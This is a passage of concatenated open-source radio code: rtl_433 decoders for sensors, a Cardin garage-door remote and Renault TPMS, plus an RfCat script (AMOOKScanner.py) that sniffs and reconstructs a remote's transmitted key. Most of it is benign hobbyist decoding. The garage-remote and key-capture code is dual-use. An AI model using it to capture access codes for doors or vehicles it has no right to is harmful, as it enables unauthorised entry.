.reset_limit = 150, // Maximum gap size before End Of Message [us]. 105 | .json_callback = &tpms_ford_callback, 106 | .disabled = 0, 107 | .demod_arg = 0, 108 | .fields = output_fields, 109 | }; 110 | -------------------------------------------------------------------------------- /rtl_433/src/devices/cardin.c: -------------------------------------------------------------------------------- 1 | #include "rtl_433.h" 2 | #include "util.h" 3 | 4 | /* 5 | * Cardin S466-TX2 generic garage door remote control on 27.195 Mhz 6 | * Remember to set de freq right with -f 27195000 7 | * May be usefull for other Cardin product too 8 | * 9 | * Copyright (C) 2015 Denis Bodor 10 | * This program is free software; you can redistribute it and/or modify 11 | * it under the terms of the GNU General Public License version 2 as 12 | * published by the Free Software Foundation. 13 | */ 14 | 15 | static int cardin_callback(bitbuffer_t *bitbuffer) { 16 | bitrow_t *bb = bitbuffer->bb; 17 | int i, j, k; 18 | unsigned char dip[10] = {'-','-','-','-','-','-','-','-','-', '\0'}; 19 | 20 | /* 21 | * "11R" = on-on Right button used 22 | * "10R" = on-off Right button used 23 | * "01R" = off-on Right button used 24 | * "00L?" = off-off Left button used or right button does the same as the left 25 | */ 26 | char *rbutton[4] = { "11R", "10R", "01R", "00L?" }; 27 | data_t *data; 28 | char time_str[LOCAL_TIME_BUFLEN]; 29 | 30 | // validate message as we can 31 | if((bb[0][2] & 48) == 0 && bitbuffer->bits_per_row[0] == 24 && ( 32 | (bb[0][2] & 0x0f) == 3 || 33 | (bb[0][2] & 0x0f) == 9 || 34 | (bb[0][2] & 0x0f) == 12 || 35 | (bb[0][2] & 0x0f) == 6) ) { 36 | 37 | /* 38 | fprintf(stdout, "------------------------------\n"); 39 | fprintf(stdout, "protocol = Cardin S466\n"); 40 | fprintf(stdout, "message = "); 41 | for (i=0 ; i<3 ; i++) { 42 | for (k = 7; k >= 0; k--) { 43 | if (bb[0][i] & 1 << k) 44 | fprintf(stdout, "1"); 45 | else 46 | fprintf(stdout, "0"); 47 | } 48 | fprintf(stdout, " "); 49 | } 50 | fprintf(stdout, "\n\n"); 51 | */ 52 | 53 | // Dip 1 54 | if(bb[0][0] & 8) { 55 | dip[0]='o'; 56 | if(bb[0][1] & 8) 57 | dip[0]='+'; 58 | } 59 | // Dip 2 60 | if(bb[0][0] & 16) { 61 | dip[1]='o'; 62 | if(bb[0][1] & 16) 63 | dip[1]='+'; 64 | } 65 | // Dip 3 66 | if(bb[0][0] & 32) { 67 | dip[2]='o'; 68 | if(bb[0][1] & 32) 69 | dip[2]='+'; 70 | } 71 | // Dip 4 72 | if(bb[0][0] & 64) { 73 | dip[3]='o'; 74 | if(bb[0][1] & 64) 75 | dip[3]='+'; 76 | } 77 | // Dip 5 78 | if(bb[0][0] & 128) { 79 | dip[4]='o'; 80 | if(bb[0][1] & 128) 81 | dip[4]='+'; 82 | } 83 | // Dip 6 84 | if(bb[0][2] & 128) { 85 | dip[5]='o'; 86 | if(bb[0][2] & 64) 87 | dip[5]='+'; 88 | } 89 | // Dip 7 90 | if(bb[0][0] & 1) { 91 | dip[6]='o'; 92 | if(bb[0][1] & 1) 93 | dip[6]='+'; 94 | } 95 | // Dip 8 96 | if(bb[0][0] & 2) { 97 | dip[7]='o'; 98 | if(bb[0][1] & 2) 99 | dip[7]='+'; 100 | } 101 | // Dip 9 102 | if(bb[0][0] & 4) { 103 | dip[8]='o'; 104 | if(bb[0][1] & 4) 105 | dip[8]='+'; 106 | } 107 | 108 | local_time_str(0, time_str); 109 | data = data_make( 110 | "time", "", DATA_STRING, time_str, 111 | "model", "", DATA_STRING, "Cardin S466", 112 | "dipswitch", "dipswitch", DATA_STRING, dip, 113 | "rbutton", "right button switches", DATA_STRING, rbutton[((bb[0][2] & 15) / 3)-1], 114 | NULL); 115 | 116 | data_acquired_handler(data); 117 | 118 | return 1; 119 | } 120 | return 0; 121 | } 122 | 123 | static char *output_fields[] = { 124 | "time", 125 | "model", 126 | "dipswitch", 127 | "rbutton", 128 | NULL 129 | }; 130 | 131 | r_device cardin = { 132 | .name = "Cardin S466-TX2", 133 | .modulation = OOK_PULSE_PPM_RAW, 134 | .short_limit = 1212, 135 | .long_limit = 1600, 136 | .reset_limit = 32000, 137 | .json_callback = &cardin_callback, 138 | .disabled = 0, 139 | .demod_arg = 0, 140 | .fields = output_fields, 141 | }; 142 | -------------------------------------------------------------------------------- /rtl_433/src/CMakeLists.txt: -------------------------------------------------------------------------------- 1 | # rtl_433 is free software; you can redistribute it and/or modify 2 | # it under the terms of the GNU General Public License as published by 3 | # the Free Software Foundation; either version 3, or (at your option) 4 | # any later version. 5 | # 6 | # rtl_433 is distributed in the hope that it will be useful, 7 | # but WITHOUT ANY WARRANTY; without even the implied warranty of 8 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 9 | # GNU General Public License for more details. 10 | # 11 | # You should have received a copy of the GNU General Public License 12 | # along with GNU Radio; see the file COPYING. If not, write to 13 | # the Free Software Foundation, Inc., 51 Franklin Street, 14 | # Boston, MA 02110-1301, USA. 15 | 16 | ######################################################################## 17 | # Build utility 18 | ######################################################################## 19 | add_executable(rtl_433 20 | baseband.c 21 | bitbuffer.c 22 | data.c 23 | pulse_demod.c 24 | pulse_detect.c 25 | rtl_433.c 26 | util.c 27 | devices/acurite.c 28 | devices/alecto.c 29 | devices/ambient_weather.c 30 | devices/blyss.c 31 | devices/brennenstuhl_rcs_2044.c 32 | devices/calibeur.c 33 | devices/cardin.c 34 | devices/chuango.c 35 | devices/current_cost.c 36 | devices/danfoss.c 37 | devices/dsc.c 38 | devices/ec3k.c 39 | devices/efergy_e2_classic.c 40 | devices/elv.c 41 | devices/emontx.c 42 | devices/esperanza_ews.c 43 | devices/fineoffset.c 44 | devices/fineoffset_wh1080.c 45 | devices/generic_remote.c 46 | devices/generic_temperature_sensor.c 47 | devices/gt_wt_02.c 48 | devices/hideki.c 49 | devices/ht680.c 50 | devices/inovalley-kw9015b.c 51 | devices/intertechno.c 52 | devices/kedsum.c 53 | devices/lacrosse.c 54 | devices/lacrosse_TX141TH_Bv2.c 55 | devices/lacrossews.c 56 | devices/lightwave_rf.c 57 | devices/mebus.c 58 | devices/newkaku.c 59 | devices/nexus.c 60 | devices/oil_watchman.c 61 | devices/oregon_scientific.c 62 | devices/oregon_scientific_v1.c 63 | devices/prologue.c 64 | devices/rubicson.c 65 | devices/silvercrest.c 66 | devices/springfield.c 67 | devices/steffen.c 68 | devices/tfa_twin_plus_30.3049.c 69 | devices/tfa_pool_thermometer.c 70 | devices/valeo.c 71 | devices/waveman.c 72 | devices/wg_pb12v1.c 73 | devices/wt450.c 74 | devices/x10_rf.c 75 | devices/s3318p.c 76 | devices/akhan_100F14.c 77 | devices/quhwa.c 78 | devices/proove.c 79 | devices/bresser_3ch.c 80 | devices/oregon_scientific_sl109h.c 81 | devices/steelmate.c 82 | devices/schraeder.c 83 | devices/elro_db286a.c 84 | devices/efergy_optical.c 85 | devices/hondaremote.c 86 | devices/new_template.c 87 | devices/radiohead_ask.c 88 | devices/kerui.c 89 | devices/fineoffset_wh1050.c 90 | devices/honeywell.c 91 | devices/maverick_et73x.c 92 | devices/rftech.c 93 | devices/lacrosse_tx35.c 94 | devices/vaillant_vrt340f.c 95 | devices/ibis_beacon.c 96 | devices/oil_standard.c 97 | devices/tpms_citroen.c 98 | devices/thermopro_tp11.c 99 | devices/solight_te44.c 100 | devices/smoke_gs558.c 101 | devices/generic_motion.c 102 | devices/tpms_toyota.c 103 | devices/tpms_ford.c 104 | devices/tpms_renault.c 105 | devices/infactory.c 106 | 107 | ) 108 | 109 | add_library(data data.c) 110 | 111 | target_link_libraries(rtl_433 112 | ${LIBRTLSDR_LIBRARIES} 113 | ${CMAKE_THREAD_LIBS_INIT} 114 | ) 115 | 116 | 117 | set(INSTALL_TARGETS rtl_433) 118 | if(UNIX) 119 | target_link_libraries(rtl_433 m) 120 | endif() 121 | 122 | ######################################################################## 123 | # Install built library files & utilities 124 | ######################################################################## 125 | install(TARGETS ${INSTALL_TARGETS} 126 | RUNTIME DESTINATION bin # .dll file 127 | ) 128 | -------------------------------------------------------------------------------- /rtl_433/src/devices/efergy_e2_classic.c: -------------------------------------------------------------------------------- 1 | /* Efergy e2 classic (electricity meter) 2 | * 3 | * This electricity meter periodically reports current power consumption 4 | * on frequency ~433.55 MHz. The data that is transmitted consists of 8 5 | * bytes: 6 | * 7 | * Byte 1: Start bits (00) 8 | * Byte 2-3: Device id 9 | * Byte 4: Learn mode, sending interval and battery status 10 | * Byte 5-7: Current power consumption 11 | * Byte 5: Integer value (High byte) 12 | * Byte 6: integer value (Low byte) 13 | * Byte 7: exponent (values between -3 and 3) 14 | * Byte 8: Checksum 15 | * 16 | * Power calculations come from Nathaniel Elijah's program EfergyRPI_001. 17 | * 18 | * 19 | * This program is free software; you can redistribute it and/or modify 20 | * it under the terms of the GNU General Public License as published by 21 | * the Free Software Foundation; either version 2 of the License, or 22 | * (at your option) any later version. 23 | */ 24 | 25 | #include "rtl_433.h" 26 | #include "util.h" 27 | #include "data.h" 28 | 29 | static int efergy_e2_classic_callback(bitbuffer_t *bitbuffer) { 30 | unsigned num_bits = bitbuffer->bits_per_row[0]; 31 | uint8_t *bytes = bitbuffer->bb[0]; 32 | data_t *data; 33 | char time_str[LOCAL_TIME_BUFLEN]; 34 | 35 | if (num_bits < 64 || num_bits > 80) { 36 | return 0; 37 | } 38 | 39 | // The bit buffer isn't always aligned to the transmitted data, so 40 | // search for data start and shift out the bits which aren't part 41 | // of the data. The data always starts with 0000 (or 1111 if 42 | // gaps/pulses are mixed up). 43 | while ((bytes[0] & 0xf0) != 0xf0 && (bytes[0] & 0xf0) != 0x00) { 44 | num_bits -= 1; 45 | if (num_bits < 64) { 46 | return 0; 47 | } 48 | 49 | for (unsigned i = 0; i < (num_bits + 7) / 8; ++i) { 50 | bytes[i] <<= 1; 51 | bytes[i] |= (bytes[i + 1] & 0x80) >> 7; 52 | } 53 | } 54 | 55 | // Sometimes pulses and gaps are mixed up. If this happens, invert 56 | // all bytes to get correct interpretation. 57 | if (bytes[0] & 0xf0) { 58 | for (unsigned i = 0; i < 8; ++i) { 59 | bytes[i] = ~bytes[i]; 60 | } 61 | } 62 | 63 | unsigned checksum = 0; 64 | for (unsigned i = 0; i < 7; ++i) { 65 | checksum += bytes[i]; 66 | } 67 | if (checksum == 0) { 68 | return 0; // reduce false positives 69 | } 70 | checksum &= 0xff; 71 | if (checksum != bytes[7]) { 72 | return 0; 73 | } 74 | 75 | uint16_t address = bytes[2] << 8 | bytes[1]; 76 | uint8_t learn = (bytes[3] & 0x80) >> 7; 77 | uint8_t interval = (((bytes[3] & 0x30) >> 4) + 1) * 6; 78 | uint8_t battery = (bytes[3] & 0x40) >> 6; 79 | uint8_t fact = (-(int8_t)bytes[6] + 15); 80 | float current_adc = (float)((bytes[4] << 8 | bytes[5])) / (1 << fact); 81 | 82 | local_time_str(0, time_str); 83 | 84 | // Output data 85 | data = data_make( 86 | "time", "Time", DATA_STRING, time_str, 87 | "model", "", DATA_STRING, "Efergy e2 Sensor", 88 | "id", "ID", DATA_INT, address, 89 | "current", "", DATA_FORMAT, "%.2f", DATA_DOUBLE, current_adc, 90 | "interval", "", DATA_INT, interval, 91 | "battery", "Battery", DATA_STRING, battery ? "OK" : "LOW", 92 | "learn", "", DATA_STRING, learn ? "NO" : "YES", 93 | NULL 94 | ); 95 | 96 | data_acquired_handler(data); 97 | 98 | return 1; 99 | } 100 | 101 | static char *output_fields[] = { 102 | "time", 103 | "model", 104 | "id", 105 | "current", 106 | "interval", 107 | "battery", 108 | "learn", 109 | NULL 110 | }; 111 | 112 | r_device efergy_e2_classic = { 113 | .name = "Efergy e2 classic", 114 | .modulation = FSK_PULSE_PWM_RAW, 115 | .short_limit = 92, 116 | .long_limit = 400, 117 | .reset_limit = 400, 118 | .json_callback = &efergy_e2_classic_callback, 119 | .disabled = 0, 120 | .demod_arg = 0, 121 | .fields = output_fields 122 | }; 123 | -------------------------------------------------------------------------------- /RfCatHelpers/AMOOKScanner.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | 3 | import sys 4 | from rflib import * 5 | import operator 6 | import time 7 | import argparse 8 | 9 | 10 | parser = argparse.ArgumentParser(description='Application to use a RFCat compatible device to listen and calculate binary of a transmitted signal',version="0.1-bricktop") 11 | parser.add_argument('-f', action="store", default="433880000", dest="baseFreq",help='Target frequency to listen for remote (default 433880000)',type=int) 12 | parser.add_argument('-i', action="store", default="24000", dest="chanWidth",help='Width of each channel (lowest being 24000 -- default)',type=int) 13 | parser.add_argument('-b', action="store", dest="baudRate",default=4800,help='Baudrate, defaults to 4800',type=int) 14 | parser.add_argument('-vv', action="store_true", dest="verbose", default=False,help='Verbose output') 15 | results = parser.parse_args() 16 | 17 | 18 | d = RfCat() 19 | 20 | d.setMdmModulation(MOD_ASK_OOK) 21 | d.setFreq(results.baseFreq) 22 | d.makePktFLEN(0) 23 | d.setMdmDRate(results.baudRate) 24 | d.lowball(0) 25 | d.setModeRX() 26 | 27 | 28 | 29 | d.setMdmChanSpc(results.chanWidth) 30 | d.setChannel(0) 31 | 32 | lens = dict() 33 | allstrings = [] 34 | stored_codes = [] 35 | 36 | 37 | start = time.time() 38 | print "Starting scan..." 39 | while True: 40 | try: 41 | 42 | y, t = d.RFrecv(1) 43 | sampleString=y.encode('hex') 44 | 45 | zeroPadding = [match[0] for match in re.findall(r'((0)\2{25,})', sampleString)] 46 | for z in zeroPadding: 47 | currLen = len(z) 48 | if currLen in lens.keys(): 49 | lens[currLen] = lens[currLen] + 1 50 | else: 51 | lens[currLen] = 1 52 | sorted_lens = sorted(lens.items(), key=operator.itemgetter(1), reverse=True) 53 | lens = dict() 54 | if(sorted_lens and sorted_lens[0][0] > 0 and sorted_lens[0][0] < 400): 55 | zeroPaddingString = "0" * sorted_lens[0][0] 56 | 57 | 58 | possibleStrings = sampleString.split(zeroPaddingString) 59 | possibleStrings = [s.strip("0") for s in possibleStrings] 60 | if(results.verbose == True): 61 | print "Possible codes found (-vv):" 62 | print "---------------------------" 63 | print possibleStrings 64 | 65 | for s in possibleStrings: 66 | if(len(s) > 5): 67 | allstrings.append(s) 68 | 69 | if(results.verbose == True): 70 | print "Binary for codes found (-vv):" 71 | print "---------------------------" 72 | 73 | if(len(allstrings) > 0): 74 | lengths = [len(i) for i in allstrings] 75 | most_common_length = max(set(lengths), key=lengths.count) 76 | binaryKeys = [] 77 | for a in allstrings: 78 | if(len(a) == most_common_length): 79 | if(results.verbose == True): 80 | print str(bin(int(a,16))[2:]) 81 | binaryKeys.append(bin(int(a,16))[2:]) 82 | else: 83 | if(len(a) -1 == most_common_length): 84 | if(results.verbose == True): 85 | print str(bin(int(a,16))[2:-1]) 86 | binaryKeys.append(bin(int(a,16))[2:-1]) 87 | 88 | maxlen = len(max(binaryKeys, key=len)) 89 | 90 | for i in range(0,len(binaryKeys)): 91 | if(len(binaryKeys[i]) < maxlen): 92 | binaryKeys[i] = binaryKeys[i] + ("0" * (maxlen - len(binaryKeys[i]))) 93 | 94 | print "Possible Signals:" + str(len(allstrings)) 95 | finalKey = ""; 96 | for charPos in range(0,maxlen): 97 | total = 0; 98 | for i in range(0,len(binaryKeys)): 99 | thisChar = binaryKeys[i][charPos] 100 | total += int(thisChar) 101 | if(total > (len(binaryKeys) / 2)): 102 | finalKey += "1" 103 | else: 104 | finalKey += "0" 105 | print "Calculated Key (bin): " + finalKey 106 | print "--------" 107 | 108 | except ChipconUsbTimeoutException: 109 | pass 110 | except KeyboardInterrupt: 111 | d.setModeIDLE() 112 | print "bye." 113 | sys.exit() 114 | pass 115 | d.setModeIDLE() 116 | print "bye." 117 | sys.exit() 118 | 119 | 120 | -------------------------------------------------------------------------------- /rtl_433/src/devices/thermopro_tp11.c: -------------------------------------------------------------------------------- 1 | /* Thermopro TP-11 Thermometer. 2 | * 3 | * Copyright (C) 2017 Google Inc. 4 | * This program is free software; you can redistribute it and/or modify 5 | * it under the terms of the GNU General Public License as published by 6 | * the Free Software Foundation; either version 2 of the License, or 7 | * (at your option) any later version. 8 | * 9 | */ 10 | #include "data.h" 11 | #include "rtl_433.h" 12 | #include "util.h" 13 | 14 | #define MODEL "Thermopro TP11 Thermometer" 15 | 16 | /* normal sequence of bit rows: 17 | [00] {33} db 41 57 c2 80 : 11011011 01000001 01010111 11000010 1 18 | [01] {33} db 41 57 c2 80 : 11011011 01000001 01010111 11000010 1 19 | [02] {33} db 41 57 c2 80 : 11011011 01000001 01010111 11000010 1 20 | [03] {32} db 41 57 c2 : 11011011 01000001 01010111 11000010 21 | 22 | The code below checks that at least three rows are the same and 23 | that the validation code is correct for the known device ids. 24 | */ 25 | 26 | static int valid(unsigned data, unsigned check) { 27 | // This table is computed for device ids 0xb34 and 0xdb4. Since the code 28 | // appear to be linear, it is most likely correct also for device ids 29 | // 0 and 0xb34^0xdb4 == 0x680. It needs to be updated for others, the 30 | // values starting at table[12] are most likely wrong for other devices. 31 | static int table[] = { 32 | 0x04, 0x08, 0x10, 0x20, 0x40, 0x80, 0x51, 0xa2, 33 | 0x15, 0x2a, 0x54, 0xa8, 0x00, 0x00, 0xed, 0x00, 34 | 0x00, 0x00, 0x00, 0x37, 0x00, 0x00, 0x00, 0x00}; 35 | for(int i=0;i<24;i++) { 36 | if (data & (1 << i)) check ^= table[i]; 37 | } 38 | return check == 0; 39 | } 40 | 41 | static int thermopro_tp11_sensor_callback(bitbuffer_t *bitbuffer) { 42 | int i, j, iTemp, good = -1; 43 | float fTemp; 44 | bitrow_t *bb = bitbuffer->bb; 45 | unsigned int device, value; 46 | char time_str[LOCAL_TIME_BUFLEN]; 47 | data_t *data; 48 | 49 | // Compare first four bytes of rows that have 32 or 33 bits. 50 | for (i = 0; good < 0 && i + 2 < bitbuffer->num_rows; i++) { 51 | int equal_rows = 0; 52 | if ((bitbuffer->bits_per_row[i] & ~1) != 32) continue; 53 | 54 | for (j = i+1; good < 0 && j < bitbuffer->num_rows; j++) { 55 | if ((bitbuffer->bits_per_row[j] & ~1) == 32 56 | && bb[i][0] == bb[j][0] 57 | && bb[i][1] == bb[j][1] 58 | && bb[i][2] == bb[j][2] 59 | && bb[i][3] == bb[j][3] 60 | && ++equal_rows >= 2) good = i; 61 | } 62 | } 63 | if (good < 0) return 0; 64 | 65 | // bb[good] is equal to at least two other rows, decode. 66 | value = (bb[good][0] << 16) + (bb[good][1] << 8) + bb[good][2]; 67 | device = value >> 12; 68 | // Validate code for known devices. 69 | if ((device == 0xb34 || device == 0xdb4 ) && !valid(value, bb[good][3])) 70 | return 0; 71 | iTemp = value & 0xfff; 72 | fTemp = (iTemp - 200) / 10.; 73 | 74 | local_time_str(0, time_str); 75 | data = data_make("time", "", DATA_STRING, time_str, 76 | "model", "", DATA_STRING, MODEL, 77 | "id", "Id", DATA_FORMAT, "\t %d", DATA_INT, device, 78 | "temperature_C", "Temperature", DATA_FORMAT, "%.01f C", DATA_DOUBLE, fTemp, 79 | NULL); 80 | data_acquired_handler(data); 81 | return 1; 82 | } 83 | 84 | static char *output_fields[] = { 85 | "time", 86 | "model", 87 | "id", 88 | "temperature_C", 89 | NULL 90 | }; 91 | 92 | r_device thermopro_tp11 = { 93 | .name = MODEL, 94 | .modulation = OOK_PULSE_PPM_RAW, 95 | .short_limit = 956, 96 | .long_limit = 1912, 97 | .reset_limit = 3880, 98 | .json_callback = &thermopro_tp11_sensor_callback, 99 | .disabled = 0, 100 | .demod_arg = 0, 101 | .fields = output_fields, 102 | }; 103 | -------------------------------------------------------------------------------- /rtl_433/src/devices/prologue.c: -------------------------------------------------------------------------------- 1 | /* Prologue sensor protocol 2 | * also FreeTec NC-7104 sensor for FreeTec Weatherstation NC-7102. 3 | * 4 | * the sensor sends 36 bits 7 times, before the first packet there is a sync pulse 5 | * the packets are ppm modulated (distance coding) with a pulse of ~500 us 6 | * followed by a short gap of ~2000 us for a 0 bit or a long ~4000 us gap for a 7 | * 1 bit, the sync gap is ~9000 us. 8 | * 9 | * the data is grouped in 9 nibbles 10 | * [model] [id0] [id1] [flags] [temp0] [temp1] [temp2] [humi0] [humi1] 11 | * 12 | * model is 1001 (9) or 0110 (5) 13 | * id is a random id that is generated when the sensor starts, could include battery status 14 | * the same batteries often generate the same id 15 | * flags(3) is 0 the battery status, 1 ok, 0 low, first reading always say low 16 | * flags(2) is 1 when the sensor sends a reading when pressing the button on the sensor 17 | * flags(1,0)+1 forms the channel number that can be set by the sensor (1-3) 18 | * temp is 12 bit signed scaled by 10 19 | * humi0 is always 1100 (0x0C) if no humidity sensor is available 20 | * humi1 is always 1100 (0x0C) if no humidity sensor is available 21 | * 22 | * The sensor can be bought at Clas Ohlson 23 | */ 24 | 25 | #include "rtl_433.h" 26 | #include "util.h" 27 | #include "data.h" 28 | 29 | static int prologue_callback(bitbuffer_t *bitbuffer) { 30 | bitrow_t *bb = bitbuffer->bb; 31 | data_t *data; 32 | 33 | char time_str[LOCAL_TIME_BUFLEN]; 34 | 35 | uint8_t model; 36 | uint8_t id; 37 | uint8_t battery; 38 | uint8_t button; 39 | uint8_t channel; 40 | int16_t temp; 41 | uint8_t humidity; 42 | int r = bitbuffer_find_repeated_row(bitbuffer, 3, 36); 43 | 44 | if (r >= 0 && 45 | bitbuffer->bits_per_row[r] <= 37 && // we expect 36 bits but there might be a trailing 0 bit 46 | ((bb[r][0]&0xF0) == 0x90 || 47 | (bb[r][0]&0xF0) == 0x50)) { 48 | 49 | /* Get time now */ 50 | local_time_str(0, time_str); 51 | 52 | /* Prologue sensor */ 53 | model = bb[r][0] >> 4; 54 | id = ((bb[r][0]&0x0F)<<4) | ((bb[r][1]&0xF0)>>4); 55 | battery = bb[r][1]&0x08; 56 | button = (bb[r][1]&0x04) >> 2; 57 | channel = (bb[r][1]&0x03) + 1; 58 | temp = (int16_t)((uint16_t)(bb[r][2] << 8) | (bb[r][3]&0xF0)); 59 | temp = temp >> 4; 60 | humidity = ((bb[r][3]&0x0F) << 4) | (bb[r][4] >> 4); 61 | 62 | data = data_make("time", "", DATA_STRING, time_str, 63 | "model", "", DATA_STRING, "Prologue sensor", 64 | "id", "", DATA_INT, model, // this should be named "type" 65 | "rid", "", DATA_INT, id, // this should be named "id" 66 | "channel", "Channel", DATA_INT, channel, 67 | "battery", "Battery", DATA_STRING, battery ? "OK" : "LOW", 68 | "button", "Button", DATA_INT, button, 69 | "temperature_C", "Temperature", DATA_FORMAT, "%.02f C", DATA_DOUBLE, temp/10.0, 70 | "humidity", "Humidity", DATA_FORMAT, "%u %%", DATA_INT, humidity, 71 | NULL); 72 | data_acquired_handler(data); 73 | 74 | return 1; 75 | } 76 | return 0; 77 | } 78 | 79 | static char *output_fields[] = { 80 | "time", 81 | "model", 82 | "id", 83 | "rid", 84 | "channel", 85 | "battery", 86 | "button", 87 | "temperature_C", 88 | "humidity", 89 | NULL 90 | }; 91 | 92 | r_device prologue = { 93 | .name = "Prologue Temperature Sensor", 94 | .modulation = OOK_PULSE_PPM_RAW, 95 | .short_limit = 3500, 96 | .long_limit = 7000, 97 | .reset_limit = 10000, 98 | .json_callback = &prologue_callback, 99 | .disabled = 0, 100 | .demod_arg = 0, 101 | .fields = output_fields 102 | }; 103 | -------------------------------------------------------------------------------- /rtl_433/src/devices/tpms_renault.c: -------------------------------------------------------------------------------- 1 | /* FSK 9 byte Manchester encoded TPMS with CRC. 2 | * Seen on Renault Clio, Renault Captur and maybe Dacia Sandero. 3 | * 4 | * Copyright (C) 2017 Christian W. Zuckschwerdt 5 | * 6 | * This program is free software; you can redistribute it and/or modify 7 | * it under the terms of the GNU General Public License as published by 8 | * the Free Software Foundation; either version 2 of the License, or 9 | * (at your option) any later version. 10 | * 11 | * Packet nibbles: FF PP PP II II II TT TT CC 12 | * F = flags, (seen: c1: 22% c8: 4% c9: 10% d0: 2% d1: 29% d8: 4% d9: 29%) 13 | * P = Pressure, 16-bit little-endian 14 | * I = id, 24-bit little-endian 15 | * T = Unknown, likely Temperature, 16-bit little-endian 16 | * C = Checksum, CRC-8 truncated poly 0x07 init 0x00 17 | */ 18 | 19 | #include "rtl_433.h" 20 | #include "pulse_demod.h" 21 | #include "util.h" 22 | 23 | // full preamble is 55 55 55 56 (inverted: aa aa aa a9) 24 | static const uint8_t preamble_pattern[2] = { 0xaa, 0xa9 }; // 16 bits 25 | 26 | static int tpms_renault_decode(bitbuffer_t *bitbuffer, unsigned row, unsigned bitpos) { 27 | char time_str[LOCAL_TIME_BUFLEN]; 28 | data_t *data; 29 | unsigned int start_pos; 30 | bitbuffer_t packet_bits = {0}; 31 | uint8_t *b; 32 | int flags; 33 | char flags_str[3]; 34 | unsigned id; 35 | char id_str[7]; 36 | int maybe_pressure, maybe_temp; 37 | char code_str[10]; 38 | 39 | start_pos = bitbuffer_manchester_decode(bitbuffer, row, bitpos, &packet_bits, 160); 40 | // require 72 data bits 41 | if (start_pos-bitpos < 144) { 42 | return 0; 43 | } 44 | b = packet_bits.bb[0]; 45 | 46 | // 0x83; 0x107 FOP-8; ATM-8; CRC-8P 47 | if (crc8(b, 8, 0x07, 0x00) != b[8]) { 48 | return 0; 49 | } 50 | 51 | flags = b[0]; 52 | sprintf(flags_str, "%02x", flags); 53 | 54 | id = b[5]<<16 | b[4]<<8 | b[3]; // little-endian 55 | sprintf(id_str, "%06x", id); 56 | 57 | maybe_pressure = b[2]<<8 | b[1]; // little-endian 58 | maybe_temp = b[7]<<8 | b[6]; // little-endian 59 | sprintf(code_str, "%04x %04x", maybe_pressure, maybe_temp); 60 | 61 | local_time_str(0, time_str); 62 | data = data_make( 63 | "time", "", DATA_STRING, time_str, 64 | "model", "", DATA_STRING, "Renault", 65 | "type", "", DATA_STRING, "TPMS", 66 | "id", "", DATA_STRING, id_str, 67 | "flags", "", DATA_STRING, flags_str, 68 | "code", "", DATA_STRING, code_str, 69 | "mic", "", DATA_STRING, "CRC", 70 | NULL); 71 | 72 | data_acquired_handler(data); 73 | return 1; 74 | } 75 | 76 | static int tpms_renault_callback(bitbuffer_t *bitbuffer) { 77 | int row; 78 | unsigned bitpos; 79 | int events = 0; 80 | 81 | bitbuffer_invert(bitbuffer); 82 | 83 | for (row = 0; row < bitbuffer->num_rows; ++row) { 84 | bitpos = 0; 85 | // Find a preamble with enough bits after it that it could be a complete packet 86 | while ((bitpos = bitbuffer_search(bitbuffer, row, bitpos, 87 | (const uint8_t *)&preamble_pattern, 16)) + 160 <= 88 | bitbuffer->bits_per_row[row]) { 89 | events += tpms_renault_decode(bitbuffer, row, bitpos + 16); 90 | bitpos += 15; 91 | } 92 | } 93 | 94 | return events; 95 | } 96 | 97 | static char *output_fields[] = { 98 | "time", 99 | "model", 100 | "id", 101 | "flags", 102 | "code", 103 | "mic", 104 | NULL 105 | }; 106 | 107 | r_device tpms_renault = { 108 | .name = "Renault TPMS", 109 | .modulation = FSK_PULSE_PCM, 110 | .short_limit = 52, // 12-13 samples @250k 111 | .long_limit = 52, // FSK 112 | .reset_limit = 150, // Maximum gap size before End Of Message [us]. 113 | .json_callback = &tpms_renault_callback, 114 | .disabled = 0, 115 | .demod_arg = 0, 116 | .fields = output_fields, 117 | }; 118 | -------------------------------------------------------------------------------- /rtl_433/src/devices/oil_watchman.c: -------------------------------------------------------------------------------- 1 | /* Oil tank monitor using Si4320 framed FSK protocol 2 | * 3 | * Tested devices: 4 | * Sensor Systems Watchman Sonic 5 | * 6 | * Copyright © 2015 David Woodhouse 7 | * 8 | * This program is free software; you can redistribute it and/or modify 9 | * it under the terms of the GNU General Public License as published by 10 | * the Free Software Foundation; either version 2 of the License, or 11 | * (at your option) any later version. 12 | */ 13 | #include "rtl_433.h" 14 | #include "pulse_demod.h" 15 | #include "util.h" 16 | 17 | 18 | // Start of frame preamble is 111000xx 19 | static const unsigned char preamble_pattern = 0xe0; 20 | 21 | // End of frame is 00xxxxxx or 11xxxxxx depending on final data bit 22 | static const unsigned char postamble_pattern[2] = { 0x00, 0xc0 }; 23 | 24 | static int oil_watchman_callback(bitbuffer_t *bitbuffer) { 25 | uint8_t *b; 26 | uint32_t unit_id; 27 | uint16_t depth = 0; 28 | uint16_t binding_countdown = 0; 29 | uint8_t flags; 30 | uint8_t maybetemp; 31 | double temperature; 32 | char time_str[LOCAL_TIME_BUFLEN]; 33 | data_t *data; 34 | unsigned bitpos = 0; 35 | bitbuffer_t databits = {0}; 36 | int events = 0; 37 | 38 | local_time_str(0, time_str); 39 | 40 | // Find a preamble with enough bits after it that it could be a complete packet 41 | while ((bitpos = bitbuffer_search(bitbuffer, 0, bitpos, &preamble_pattern, 6)) + 136 <= 42 | bitbuffer->bits_per_row[0]) { 43 | 44 | // Skip the matched preamble bits to point to the data 45 | bitpos += 6; 46 | 47 | bitpos = bitbuffer_manchester_decode(bitbuffer, 0, bitpos, &databits, 64); 48 | if (databits.bits_per_row[0] != 64) 49 | continue; 50 | 51 | b = databits.bb[0]; 52 | 53 | // Check for postamble, depending on last data bit 54 | if (bitbuffer_search(bitbuffer, 0, bitpos, &postamble_pattern[b[7] & 1], 2) != bitpos) 55 | continue; 56 | 57 | if (b[7] != crc8le(b, 7, 0x31, 0)) 58 | continue; 59 | 60 | // The unit ID changes when you rebind by holding a magnet to the 61 | // sensor for long enough; it seems to be time-based. 62 | unit_id = (b[0] << 24) | (b[1] << 16) | (b[2] << 8) | b[3]; 63 | 64 | // 0x01: Rebinding (magnet held to sensor) 65 | // 0x08: Leak/theft alarm 66 | // top three bits seem also to vary with temperature (independently of maybetemp) 67 | flags = b[4]; 68 | 69 | // Not entirely sure what this is but it might be inversely 70 | // proportional to temperature. 71 | maybetemp = b[5] >> 2; 72 | temperature = (double)(145.0 - 5.0 * maybetemp) / 3.0; 73 | if 